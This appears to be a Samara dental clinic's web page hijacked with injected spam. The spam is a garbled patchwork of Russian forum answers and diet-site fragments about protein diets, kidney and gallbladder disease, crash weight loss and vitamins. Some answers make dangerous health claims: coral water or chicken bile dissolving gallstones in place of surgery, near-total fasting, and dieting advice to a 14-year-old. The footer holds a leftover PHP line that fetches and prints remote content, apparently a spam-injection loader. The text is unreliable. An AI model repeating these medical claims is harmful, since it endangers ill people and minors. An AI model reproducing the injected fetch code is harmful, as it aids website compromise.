Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Подскажите хорошую белковую диету при заболевании гормонального сбоя

При гормональных сбоях и лечение, и диету и режим должен подобрать врач. Обратитесь к эндокринологу. А то, как бы вы себе не навредили куда больше, чем помогли.

Подскожите диеты при болезни печени и холесирине

Жирное и горькое не употреблять. Лучше кушать каши, овощи, фрукты, супы (опять же нежирные) . Рыбу можно и курицу нежирную, без шкурки.

Исключительно белковые диеты, как справедливо замечает этот врач провокаторы заболеваний почек, печени, возможных проблем с атеросклерозом если человек ест жирное мясо , и, конечно же, запоров. Меню протеиновой диеты для женщин.

Поменьше белковой пища, она нагрузку дает на печень. Пить курсами расторопшу (шрот) , карсил, эссенциале. Делать 1 раз в 2-3 мес. дюбаж. Алкоголем не злоупотреблять. И главное - никаких голодовок!

Что вредно для почек, какую надо диету, когда поем , давление (

Вредно почек ето пиво

Полное сжигание подкожного жира и максимальное сохранение мышечной массы. Что немаловажно даже для женского пола.Поэтому людям, у которых есть заболевания вышеперечисленных органов, не следует придерживаться белковой диеты.

Для почек вредна соль и красители ( чай, кофе, газировки )

Соль, колбаса

Ешь укроп и по меньше спиртного :-)

Соль, острое, жаренное, жирное и обильное питье- исключить

Белок надо ограничить-мясо и молоко в первую очередь. наверняка у вас камни

Белковая диета. Отзывы о белковой диете. Рецепты блюд для белковой диеты.К их списку прибавляются еще и очень тучные люди, а также те, кто страдает заболеваниями пищеварительной системы это колит, хронический панкреатит, синдром...

Что можно кушать,когда болят почки???

Не острое, не соленое, не яичное, не молочное-ничего нельзя))

Диета при болезни почек. Почкирегулируют в организме баланс химического состава гомеостаз греч. homoios одинаковый , stasis неподвижность .Поэтому белковая пища при заболеваниях почек ограничивается, но не исключается.

Кроме безе, что еще - очень простое - можно сделать с яичными белками? В рецепте нужно 5 желтков, а белок жалко((

Яичницу))

Существует большое количество почечных болезней, при этом любая лечебная диета при заболевании почек весьма сложная.Употребление сол ной пищи должно быть минимально. Белковая пища должна быть растительного происхождения за малым исключением .

Омлет с помидорками и сыром

Да омлет проще всего сделать. А вообще белки очень хорошо взбивать и добавлять в тесто.

Блины жарьте. Взбить белки и осторожно добавить в тесто. Жарить на сливочном масле.

Шарлотку или творожную запеканку. Соедините все ингредиенты, потом в конце добавьте взбитые белки и осторожно перемешайте. Получится воздушная выпечка.

Какие продукты любят почки? перенес операцию по удалению почки - осталась одна. Хотелось бы её поддержать

Белковая диета

За неделю на б. д. люди тупеют настолько, что их перестает интересовать интернет, а потеря веса составляет около 3-4 кг, что буквально окрыляет любого на дальнейшие подвиги. вы сидите на какой то другой диете, поэтому я не знаю, что вам ответить.

Белковая диета Дюкана, меню которой включает сто разнообразных продуктов, становится для многих дам просто спасением.Первый этап - это фактически белковая диета, при которой в организме запускается процесс сжигания подкожных жиров.

Не только для почек, а вообще для всего организма, причём не только на физическом уровне. Я предпочитаю питаться тем, что для нас ЧЕЛОВЕКОВ приготовила Природа - только сырые фрукты и овощи, причём не мешая друг с другом, без добавления соли или иных приправ. Уже 2 года как сам питаюсь только так - проблем со здоровьем не только не появилось, но и улучшились все показатели, здоровье как у быка, а лишний вес как ушёл, то и не возвращается обратно. Причём я себя вообще не ограничиваю - ем столько, сколько хочу, могу и прямо перед сном поесть - ничего не откладывается на теле. Желаю Вам сделать правильный выбор. Удачи!

ПРежде, чем садиться на белковую диету, надо было как минимум проконсультироваться с врачом. Действительно белок бьёт по почкам, если переборщить по времени сидения на подобной диете. Как правило на ней сидят бодибилдеры перед соревнованиями и максимум месяц.

У дочери обнаружили болезнь Адиссона.Чем можно поддерживать организм, кроме Кортинефф, Преднизолон?

Кортикостероиды, для вашего ребенка это спасение жизни никогда не отменяйте их самостоятельно.

Белковая диета противопоказана людям с заболеваниями почек, нарушениями функций органов пищеварения.Женское здоровье. Беременность. Все о родах. Гинекология. Женские болезни. Контрацепция. Народная медицина.

Избегать переутомлений, стрессов.. Побольше поваренной соли (обычно рекомендую томатный сок, его легче переносят пересоленным. ) Поменьше бобовых, шоколада. Витамин С и продукты богатые им ( по сезону). Не загорать, избегать перегревов. Следить за своевременным приемом лекарств (при болезни, стрессе -увеличение дозы т. к. может быть криз). Контроль А/Д, электролитов крови, коризола (определяем правильность дозы гормонов). Здоровья.

При заболевании :камни в желчном пузыре -употреблять в пищу творог и сыр, ведь они содержат кальций, через месяц операци

До операции лутше не есть хлеб молочку капусту только протертые супчики и кашу на пару рыбку например знаю из личного опыта

Женское здоровье Золотые правила интимной гигиены. Диеты и похудение Природные средства для похудения очищение организмаАнализ результатов показал, что употребление белковой пищи почти в два раза снижает риск возникновения различных изменений в мозге.

Пейте чай из мяты

Пейте коралловую воду - камни оттаивают + идет насыщение организма 70 микроэлементами в ионной форме (включая кальций) . Операция проблему не решит - причина же не устранена.

Если принимать свежую куриную желчь в медицинских капсулах можно обоцтиьс без операции

Что полезно есть при наличии кисты в почках?

При заболеваниях почек обычно назначается так называемая диета №7. В чем же заключается эта диета? Цель диеты при заболеваниях почек – это резкое ограничение содержание экстрактивных веществ, для того, чтобы уменьшить раздражение ими почек, повысить выведение из организма недоокисленных продуктов обмена веществ (шлаков) и оказать противовоспалительное действие.
Диета при заболеваниях почек должна быть разнообразной, полноценной, с адекватным содержанием витаминов, белков, жиров и углеводов, а также веществ, обладающих липотропными свойствами - творог, молоко и молочнокислые продукты.
Ограничивают сливки, сметану. Чтобы улучшить вкусовые качества пищи можно применять тмин, высушенный укроп, корицу или лимонную кислоту. Количество ежесуточного потребления соли должно составлять 3 - 5 г. При этом пища должна готовиться без соли, а соль больному выдается на руки.
Количество свободной жидкости должно доходить до 800 – 1000 мл в сутки. Питание при заболеваниях почек должно быть дробным, до 6 раз в день.
Что исключить
Газированные напитки,
Бобовые,
Пирожные и кремы,
Бульоны (мясные, рыбные и грибные, так как в них содержатся экстрактивные вещества) ,
Соленья,
Закуски,
Копчености
Консервы.
При развивающейся уремии, которая характерна для хронической почечной недостаточности, количество потребляемого белка должно быть уменьшено до 20 - 25 г в сутки. При этом, в первую очередь, обычно сокращают количество растительных белков. Это всевозможные бобовые культуры, крупа, мучные изделия (хлеб и др.) , так как по своей биологической ценности эти белки уступают животным белкам, и, кроме того, перегружают организм вредными продуктами белкового обмена.
В чем принцип диеты при заболеваниях почек
На ранних стадиях болезни почек диета направлена на контролирование количества потребляемого белка и фосфора. Кроме того, контролируется потребление натрия (который поступает с поваренной солью) . Также особое внимание уделяется калорийности пищи и поддержания адекватного веса.
Белки
Белки – наиболее важный пищевой компонент. Они необходимы для построения всех структур организма. Но в то же время после обмена белков в организме остаются шлаки. Это мочевина, креатинин и некоторые другие. Они являются азотистыми веществами и выводятся с мочой почками. Это в норме. При воспалении почек (особенно при гломерулонефрите) , когда страдает как фильтрационная, так и выделительная функция почек, эти шлаки остаются в организме, оказывая токсическое действие. Поэтому при заболеваниях почек ограничивается потребление белка. В то же время не стоит полностью сокращать количество потребляемого белка, так как он очень важен для здорового организма и защитных сил.
Фосфор
Как уже отмечено, при заболеваниях почек происходит нарушение выделения избытка солей из организма. Это приводит к накоплению, в частности, фосфора. При высоком содержании в организме фосфора происходит вымывание кальция из костной ткани. Это в свою очередь приводит к остеопорозу. Фосфор содержится во всех продуктах питания, но больше всего в молочных продуктах и бобовых, арахисе, какао, пиве и коле.
Натрий
Натрий вызывает задержку воды в организме, что имеет отношение к отекам и повышению артериального давления. Поэтому потребление натрия при заболеваниях почек должно быть снижено. В основном натрий поступает с поваренной солью, а также соленьями.

Типичная белковая диета содержит около 10-15% богатых белком продуктов.Повышенный риск сердечно-сосудистых заболеваний. Сбалансированная диета состоит приблизительно из 60% углеводов, 25% белков и 15% жиров.

Если пить воду целую неделю и таблетки угольные. Можна похудать? Надо скинуть за неделю 10 кг

Если ты сейчас весишь 200 кг, то может быть и получится.

Белковая диета считается одной из менее опасных, важно не находиться на ней более рекомендованного срока, делать перерывы, а также соблюдать некоторые правилаОна противопоказана при проблемах с почками, желудочно-кишечных заболеваниях, подагре.

10 кг за неделю????
Если получится можете претендовать на нобелевскую премию
Люди месяцами из спортзалов не вылазиют за каждый кг бъются, а она за неделю захотела ничего не делая 10 кг скинуть....

На кладбище очередь занимай с такой диетой.
Нужно жиры, белки, углеводы хотя бы немного и физ нагрузки.

1.Выпивать не менее 2 литров воды. Попробуйте пить 8 стаканов воды в день и уже через неделю, вы заметите изменения в лучшую сторону. Через две недели, ваш организм начнет работать как часы. Важно! Пьем воду до еды, после еды необходимо подождать 30-40 минут.
Для мягкой активации пищеварительного тракта после пробуждения, рекомендуется натощак выпивать 1 стакан воды.
2. Распланируйте свой рацион на 5-6 разовое питание в течении дня (тем самым организм не будет входить в режим экономии и накапливать энергию в виде жира.) Конечно полноценно питаться 5-6 раз в день работающей женщине сложно. По этому, предлагаю вам взять в привычку носить в сумочке небольшое яблоко, орехи или нежирный йогурт. Прекрасные и полезные перекусы .
3. Кушать вечером можно. Главное, что бы последний прием пищи был за 3 часа до сна. Не можете уснуть не перекусив на сон грядущий? Выпейте стакан кефира.) Пить воду допускается в любое время.
4. Выработайте привычку пить чай и кофе без сахара, также и без каких - либо добавок.
5. Разгрузочный день без вреда фигуре можно проводить 1 раз в неделю. Полностью отказываться от пищи в разгрузочный день не рекомендуется - пейте кефир, или ешьте постное куриное мясо.
6. Лучшее время для занятием спортом вечер. Активность сердечнососудистой системы максимальна к 18 часам, соответственно, это самое подходящее время для тренировок. Идеальное время для спорта с 17:00 до 20:00
7. Легкая зарядка утром "разгонит" обмен веществ, поможет проснуться и поднять жизненный тонус и настроение.
8.Завтрак - самый важный этап дня, никогда не пропускай его! На завтрак можно все! Все, что мы съедаем до 12 часов, полностью усваивается организмом и не откладывается «про запас»
9. Супы, бульоны, салаты, отварное нежирное мясо, овощи, фрукты идеальны для обеда. Не забудьте перед едой выпить стакан воды!
10.Йогурт, салат, кефир, отварное нежирное мясо, овощи подойдут на полдник.
11. Легкий салат, творог, йогурт или немного тушеных овощей - так выглядит идеальный ужин.
12. Фрукты, особенно сладкие, лучше есть в первой половине дня.
13. Для тех кто всерьез решил сбросить лишние килограммы,
Диета рассчитана на 7 дней и не нанесет вреда организму.
День первый - в этот день мы только пьем. Пить можно все, кроме газированных сладких напитков. Бульоны (без соли), чаи, соки, молоко, кефир, ряженка, сыворотки.
День второй - Овощной. Весь день едим любые овощи и овощные салаты с добавлением растительного (оливкового) масла.
День третий - питьевой. Повторяем все как в первый день.
День четвертый - фруктовый. Едим любые фрукты в любом количестве.
День пятый - белковый. Едим отварное мясо, куриное филе, рыбу и морепродукты, творог и яйца.
День шестой - питьевой.
День седьмой - выход из диеты. Утро - 2 яйца, через 3 часа фрукты, на обед - бульон с мясом, перекус через 2-3 часа - фрукты и на ужин овощной салат.
про жареные блюда стоит забыть на долго. http://www.womenscredo.ru/hudeem-vmeste/

Маловероянто, но возможно. Правда уголь жрать бестолку, а вот побегать и хорошо побегать, придётся. Только сердце не надорвите, вполне реально надорвать его и окочуриться.

А что потом? потом что, опять начинать жрать все подряд??? Диета дает лишь временный эффект, а не на всю жизнь. Сознание свое поменять еще нужно, чтобы быть в красивом и здоровом теле. Наши мысли также формируют наше тело. И переход на правильное питание должен быть после диеты - на всю жизнь. Иначе, все эти диеты никакой пользы не несут, лишь временный эффект, а потом опять - жирная свинья.

Основное правило диеты - это употребление в пищу преимущественно белковых продуктов.Протеиновая диета на 10 дней категорически противопоказана людям, имеющим проблемы с сердечно-сосудистой системой, ЖКТ, почками или при любых хронических заболеваниях.

Правильно питайся: будешь выглядеть лучше! Библия призывает нас к умеренности. В ней осуждается те, кто,, слишком много ест" Но порой сдерживать себя нелегко. Физические упражнения заставляют наш мозг вырабатывать эндорфины-вещества, способные облегчать боль и улучшать самочувствие.

Http://www.missfit.ru/pohudenie/kak-pokhudet-za-nedelyu-na-10-kg-v-domashnikh-usloviyakh/

Причинами избыточного веса могут быть различные заболевания (эндокринная патология в частности), малоподвижный образ жизни (Вы об этом и сами знаете, возможно, что-то в этом отношении можно улучшить) и, безусловно, нерациональное питание. На питании, разрешите остановиться несколько подробнее. Рациональное питание это, прежде всего, оптимальное соотношение макро- (белки, жиры, углеводы) и микро-нутриентов (витамины, минералы и еще тысячи минорных компонентов пищи, крайне важных для нормальной жизнедеятельности организма). Вообще ничего не есть – очень вредно для здоровья! Наоборот, прием пищи должен быть регулярным – 4-5 раз в день как минимум, небольшими порциями (может быть одна из них будет только яблоко или кефир, но тем не менее…) При этом последний прием пищи ежедневно должен быть как минимум за 2-3 часа до сна.
Кроме этого важно, чтобы в организм поступали все необходимые компоненты пищи в достаточном количестве. Среди них – клетчатка (для нормализации деятельности ЖКТ и адсорбции излишнего жира и ненужных веществ в кишечнике), хром (один из основных регуляторов жирового и углеводного обмена), не должно быть анемии (соответственно, если есть железодефицитная анемия, желательно использовать продукты, содержащие железо – его дефицит также способствует накоплению излишнего веса). Кроме этого, должна хорошо функционировать печень, поскольку именно в ней инактивируются и «перерабатываются» все стероидные гормоны, в том числе и эстрогены (как собственные, так и лекарственного происхождения). А при неадекватной работе печени они метаболизируются не до конца, могут накапливаться в крови и создавать определенный гормональный фон, способствующий нарушению функции в женской половой сфере и накоплению лишних килограммов.
Во-вторых, и это тоже очень важно, избыточный вес может быть связан и с чисто психологическими причинами – неуверенность в себе и завтрашнем дне, чувством незащищенности, отсутствием необходимой поддержки и любви. К сожалению, ситуация достаточно часто встречающаяся. Поэтому подсознательно мы как будто увеличиваем «защитную оболочку», чтобы ощутить себя более комфортно. В данной ситуации Вам вполне сможет помочь грамотный и добрый психолог или психотерапевт. Так же очень важна Ваша активная жизненная позиция и стремление к личностному росту. Физическая культура должна быть в Вашей жизни. В настоящее время существует масса возможностей, и подобрать для себя что-то подходящее вполне реально. Если человек не любит спортивных занятий, можно заниматься и дома – но только регулярно! Есть желание – возможности всегда появятся. Вы знаете о том, что одним из лучших методов поддержания фигуры является обычная ходьба? Да, это именно так. При ежедневных (!) прогулках в ускоренном темпе всего лишь в течение получаса на свежем воздухе теряется до 5 кг за полгода.
Прием Биологически Активных Добавок к пище восполняет организм витаминами, микроэлементами и веществами-регуляторами, дефицит которых в нашем современном рационе часто способствует нарушению обмена веществ и накоплению избыточной массы тела.
Но самое важное – помните о принципе «Золотая Середина». Не делайте себе категорических запретов, иначе все равно их нарушите.
Воспитывайте в себе потребность становиться здоровыми и счастливыми!
Вот интересный факт. Регуляция жирового обмена эволюционно устроена так, чтобы сохранить постоянство жировой ткани, поэтому при ее увеличении – именно эта величина и считается «новой нормой» и любые попытки ее уменьшения воспринимаются организмом, как посягательство на «личную собственность», поэтому он отчаянно сопротивляется. Только образ жизни, включающий правильное – рациональное питание + адекватную физическую активность + использование в питании необходимых пищевых веществ (БАД) может быть эффективным.

Кефир + солёные огурцы

Начнутся проблемы с жкт, есть другие методы.

Женские болезни.Белково-углеводная диета это диета профессиональных спортсменов. Вы никогда не задумывались, почему спортсмены могут легко восстановиться и прийти в нужную форму после перерывов в спортивной карьере.

Нет.. можно похудеть если неделю разгружать уголь)))))))))))

Посоветуйте диету, без вреда для здоровья и эффективную.

Only Овсянка ;D
Жри каши. Вкусно, полезно и эффективно:)

Главная Женское Здоровье Диета.Белковая диета для беременных должна быть рекомендована врачом с учетом того, как протекает беременность, какие есть сопутствующие заболевания у женщины.

Перестать есть хлеб. Очень эффективно.

Просто! Есть можно что хочешь. Главное соблюдать.
Утром ешь все что хочешь
На обед овсянка, ну или еще что-то не калорийное.
Вечером гречку или подобное.
Важно: не есть жареную картошку и картошку вообще (Только утром)
Не пить сок и колу, севен ап и прочее.
За 2-4 месяца скинешь 10 кг. Просто и ефективно. Сам пользовался

Белковая диета очень хорошая, но лучше держатся только неделю, а потом постепенно добавлять углеводы с жирами. Углеводы, жиры, белки кушай на завтрак и обед, а на ужин старайся есть только белки (можно немного овощей)

Ну похудеешь ты, что дальше?
рано или поздно головка закончится и ты нажрёшься, а как правило, когда человек голодает, сперва худеют мышцы, а потом к ним и жиры присоединяются, по этому после срыва ты будешь при старом весе выглядеть ещё хуже, так как мышцы уступают месту жиру.. и так каждый раз когда решишь худеть. Так что лучше здоровое питание вместе с физнагрузками, не ленись!!
а то всю жизнь будешь такой.. фе

Я питалась так... с утра стакан воды, затем яблоко, потом спустя пару часов ела овсянку на воде без сахара с фруктами, днём кашу, куриную грудку или рыбу (все эти блюда ела с овощами), потом вечером яблоко или кефир, можно йогурт. Нечего мучного, сладкого, жирного, жареного, фаст-фуда. Ещё 1-2 раза в неделю делала разгрузочный день на яблоках или огурцах. Диета очень помогала, но я ещё и занималась спортом, танцевала, крутила обруч. За неделю уходило 3-4 кг.

Женский журнал Charlа предлагает подробно поговорить о белковых диетах.Также белковая диета имеет ряд противопоказаний, например, ее не могут соблюдать диабетики и люди, имеющие заболевания почек.

Питьевая, голод, монодиеты
Вам же побыстрей??

Итак, первое...
- безвредных диет не существует! Это глубочайшая иллюзия, если вы до сих пор думаете, что какая-то диета может быть полезной. Полезны (от безысходности) только специальные медицинские диеты при тяжёлой болезни или операции (не дай бог!). Но там выбирать не приходится. Если у вас ничего такого нет, диеты вам противопоказаны! А что тогда нужно? Нужно, как минимум, сбалансированное питание, если у вас с ним непорядок.
- второе... Мы не знаем никаких ваших параметров, чтобы что-то дельное советовать. Общие советы вам могут подойти, как корове седло.

Как похудеть на 10 - 15 кг за месяц.

Тогда просто мечтать. Кроме спорт3ала и диеты правильной все остальное бред балаболов.

Женское здоровье 17 .Разновидностей белковых диет среди звездных и массовых систем питания немало к таковым относится и нашумевшая кремлевская диета , и новомодная диета Пьера Дюкана .

Не есть совсем

Для твоего роста это и так маловато. Хочешь быть анорексичкой. Я была давно 170 и 53 кг, но я тогда заболела дизентерией, потеряла вес... ну нет уж не хочу, ноги как палочки.

Никак!

Никак (2)

Учись! Пока не закончена настройка организма, можно получить разные болячки, экспериментируя со своей физиологией ...

Легче предупредить болезнь почек, чем е лечить. Профилактика заболеваний почек позволяет без особых ограничений очистить организм и избавить себя вМы хотели бы рассмотреть данный вопрос именно в разделе вреда. Так вредна ли белковая диета для почек?

На 10 кг жира - нет.
а на 10 кг, воды, мышц и жира - да.
все диеты работают именно по такому принципу, сливается вода, очищается кишечник, распадаются мышцы и только потом жир. после диеты вода и жир восполняются, а мышцы без спорта - нет. поэтому люди выглядят хуже, чем до диеты.
если питаться правильно, то уходит именно жир. а весах будет примерно минус 5 кг, но по параметрам очень много (1-2 размера) . Т. к. по объему жир намного больше чем мышцы.
правильное питание, это:
необходимо питаться каждые 2.5-3 часа. небольшими порциями. а вечером есть только белковую пищу + овощи. пить достаточно воды чистой, 2 литра. и заниматься кардио и силовыми. при этом похудение за счет жира. без дряблой, обвисшей кожи, без возврата веса. все кто реально похудел - питался и занимался именно так.
Кто хочет - ищет возможности, кто не хочет - отговорки. делать перекусы на учебе - легко.

Можно ногу отрезать например. или малярией переболеть - тоже варик

Зачем и так худая

Куда тебе худеть то? И так веса у тебя мало для твоего роста! Хочешь заболеть анорексией? Люди умирают от этой болезни со временем. Быстро худеют и кранты... .

50-15=35..при 35 начнутся необратисмые изменения в женской половой сфере.. аменорея и бесплодие... ума то видно совсем нет

Женский журнал - Похудение - Диеты - Белковая диета для спортсменов.Противопоказанием к применению белковой диеты для спортсменов выступают хронические заболевания желудочно-кишечного тракта, сердечно-сосудистой и мочевыделительной...

К психологу!

Эм. . если ты за месяц похудеешь на 10 или 15, то у тебя прекратится менструация и появится еще куча болезней и проблем со здоровьем, тебе это надо? максимум 3 кг в месяц! ! Делай зарядку каждое утро, минут по 10-15, пей больше воды и зеленого чай. Кушай всё, но уменьши свои порции и за 3 часа до сна не ешь, всё! Удачи

Эм.. ты совсем есле ты тк сильно похудееш, тогда ты станеш как кашей бесмертный, и умрёш от всяких болезней, тебе это надо?

Помогите, как похудеть, мне 14 лет, рост 170, вес 64.. По-моему я толстовата для своего возраста...

170x64=нормально же

Женский сайт Диеты.Также дефицит глюкозы, чего не допускает белковая диета, приводит к частым головным болям и может развить различные заболевания сердечнососудистой системы.

Норма

Не пхай в себя все подряд, мне напоменаешь кое кого, худеет а сама ест по 10 пирожков за рас )

Нормально для такого роста.

Нормальный вес, дело в том, что ты еще растешь, и организм эти кг, которые тебе кажутся лишними заберет в рост) Я хочу тебе дать совет, чтобы всю жизнь не испытывать проблем с весом, приучи себя сейчас делать зарядку, приседания, пресс и прыжки на скакалке, ну и побольше ходи пешком) и ты себе потом спасибо скажешь, когда твои ровестницы после 20 лет начнут жаловаться на целлюлит, лишние кг, сидячую работу, и лень)))

Худейте на средиземноморской диете. Хотя эффективность ни одной из диет доказана не была, лучший результат продемонстрировала средиземноморская диета. Она основывается на традиционных продуктах и способах приготовления пищи средиземноморского региона. Исследования выявили, что люди, придерживающиеся этой диеты, менее подвержены риску заболеваний сердца. Кроме того, она помогает худеть и стройнеть. [10] Старайтесь есть следующие продукты (и откажитесь от хлеба, молочных продуктов и переработанной пищи):
Рыба
Оливковое масло
Овощи
Фрукты
Горох и прочие бобовые
Специи
Орехи
Красное вино
Ешьте продукты, которые подавляют аппетит. Сбалансированное питание не только обеспечит организм необходимыми веществами, но и поможет подавить аппетит, чтобы вы не переедали и не отказывались от новой системы питания. Есть продукты, благодаря которым вы долгое время будете чувствовать сытость. К ним относятся:
Грейпфруты
Овсяные хлопья
Яблоки
Яйца
Имбирь
Орехи
Зеленые листовые овощи
Картофель
Темный шоколад
Острая пища
Ведите дневник питания. На протяжении недели записывайте каждое съеденное блюдо, перекус и напиток, а также примерные количества всей еды. Это позволит вам принимать более правильные решения при выборе еды, а также будет мотивировать вас заботиться о здоровье. По возможности записывайте количество калорий напротив каждого продукта или блюда.
Не забывайте фиксировать напитки на основе кофе, приправы, заправки и соусы.
Следите за размером порций. Очень важно контролировать, сколько именно вы съедаете. Например, большая горсть миндаля и сушеной клюквы может оказаться очень калорийным перекусом, если вы не будете ограничивать порции. Заготавливайте еду для перекусов заранее, разделяя на порции, и тогда вы не сможете случайно съесть лишнего. [15]
Выбирайте более насыщенные калориями версии любимых снеков. Вы будете есть их дольше, и вам не захочется съесть слишком много. Например, небольшой батончик черного шоколада приятен на вкус, но он медленно тает во рту, и после него не хочется съесть еще один, зато молочный шоколад съедается просто незаметно. Обычное светлое пиво выпивается очень быстро, вызывая аппетит, а темное пиво (даже самое вкусное) пить гораздо сложнее. Пообещайте себе съедать или выпивать только одну порцию.
Составьте список необходимых продуктов для блюд и придерживайтесь его в магазине. Старайтесь просматривать брошюры магазинов, чтобы узнать, на какой товар будет скидка, и не обходите вниманием витрины с акциями.
И т. п.

Белковая диета является близким родственником своего всемирно известного предшественника - низкоуглеводной диеты.Эти вещества обеспечивают защиту от рака и других заболеваний .

Для такого возраста рано сидеть на диетах просто начни правильно питаться и заниматься зарядкой

Причина излишней полноты в недостаточном БЕЛКОВОМ питании. И вот почему. Женщина (чаще всего) желая похудеть, садится на ОБЕЗЖИРЕННЫЕ низкокалорийные диеты. Но нельзя прожить на 200 калории в день! Мы постоянно расходуем
энергию для поддержания температуры тела, передвижений, на работу мозга и внутренних органов. И наш мозг воспринимает эту ситуацию как ОТСУТСТВИЕ ПИЩИ, как настоящий ГОЛОД! Мы можем прожить недели или месяцы без белков, углеводов или жиров. Но, как известно, мы не в состоянии прожить недели или месяцы без воды. В нашем мозге при отсутствии пищи в первую очередь (в течение 24 часов) происходит увеличение производства специальных гормонов с целью удержания в организме ВОДЫ и НАТРИЯ – во избежание наступления обезвоживания (пока, как организм думает, мы заняты поиском пищи). И вот, перед нами бедная дама, которая в результате недостаточного потребления белков, начинает накапливать ВОДУ и НАТРИЙ в своем организме. И, естественно, начинает набиратьВЕС, потребляя всего 1000 калорий, думая при этом, что ест все еще слишком много. Опять садится на диету, опять накапливает воду....
Круг повторяется. Поэтому худеть нужно правильно, Вам могут помочь http://vk.com/public92295746

Тебе правильно кажется, у меня раньше был такой же рост и вес (ну вес чуть побольше)
И вообщем я сейчас 171/53 и забила в свои годы голову похудение и добилась анорексии.
Так что не стоит, просто правильное питание + спорт, но с дефицитом каллорий. С таким ростом 55-56 норма, а никакие не 65

Тебе не нужно худеть, просто нужно заняться спортом, чтобы убрать обвисший живот (если он есть).

Можно сесть на низкоуглеводную диету, это очень эффективно и не слишком сложная

Кому рекомендована белковая диета? Омлет из творога содержит большое количество белка.Почечные заболевания и проблемы с пищеварением заставляют отказаться от экспериментирования на себе белковой диеты.

Мне 14 лет, мой рост 162, есть ли у меня шанс вырасти на 10-12 см? Очень хочу быть высокой :)

Нету

5. Белковая диета может длиться долго? Белковые диеты довольно тяжело переносятся обделенный организм требует углеводов.Такая диета категорически противопоказана лицам, страдающим заболеваниями почек и печени, диабетом, беременным и кормящим женщинам.

Родители высокие?

Зачем?
Мне вот 20-ть, рост 168. Вес 48. Я парень и не комплексую по поводу своего роста и веса: моя миниатюрность притягивает женскую половину.

Займись баскетболом или любым видом спорта где как можно больше прыгать

Врядли. Может см на 2 и подрастешь еще или уже нет.

Человек растет до 25 лет!

Вы на странице LadyShine.com Формула тела Здоровье Белковая диета провокатор раковых заболеваний Кофе враг, ворующий женскую грудь! Худеть на жирной пище можно нужно лишь соблюдать...

Посоветуйте какие поливитамины купить.

Сухофрукты. зелень. яблоки. редис. салаты самому делать и немного в них орехов добавлять перемолотых. вот и все витамины

Плюсы белковой диеты. 1. Белковая диета выгодно отличается от многих других диет тем, что при расходовании запасов белков не происходитА сам доктор Аткинс уже успел умереть, от ожирения и хронических заболеваний сердечно сосудистой системы, сопутствующих ему.

Они все похожи. Но в пренатальных выше содержание всех веществ. Любые местного производства, вашей страны. Кальций допивайте отдельно. Трудно не писать чушь, когда человек занимается чушью, да еще без специалиста...

Мультитабс актив класные на своём опыте проверено если денег в обрез компливит с липоевой кислотой пойдёт

Компливит

Те, которые не вызывают негативных эффектов у тебя в организсе

И пусть меня сейчас закидают тапками, но мне понравились витамины "Велнес ПЭК" для женщин - цена, конечно, кусучая, но на здоровье экономить нельзя.

Протеиновая диета. Любая женщина хочет иметь идеальную фигуру.Протеиновая диета для женщин - это просто находка, так как позволяет худеть без голодания, раз уж не получается похудеть без диет.

Компливит " 11 витаминов 8 минералов+липоевая кислота"

Толку то, они почти не усваиваются организмом. Это давно раскрученный бизнес, на деле такие витамины полная чушь

Компливит, а ещё кушать свежие овощи и фрукты.

Анавайт, супермульти

Да, организм и так стонет от Вашей диеты, а Вы его ещё витаминами хотите добить... Из чего их делают можете почитать здесь http://obiosphere.spb.ru/?p=217 Ничего лучше еды в контексте получения витаминов ещё не придумано.

Начнем с белковой диеты. Для здоровых людей богатая белками диета в общем случае не вредна, если она длится короткий период времени примерно три четыре месяца .Автор Юлия Б., специально для женского сайта KirovMama.ru.

Биоритм

Компливит. Показания: Гиповитаминоз, гиперлипидемия, снижение толерантности к углеводам, атеросклероз (ранние проявления), перенесенные тяжелые заболевания, ослабленная общая сопротивляемость организма (весенне-зимний период).

АлфаВит http://www.alphavit.ru/

Http://farmamir.ru/2012/09/eleuterokokka-ekstrakt-zhidkij-instrukciya-otzyvy/

Белковая диета при женских заболеваний
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта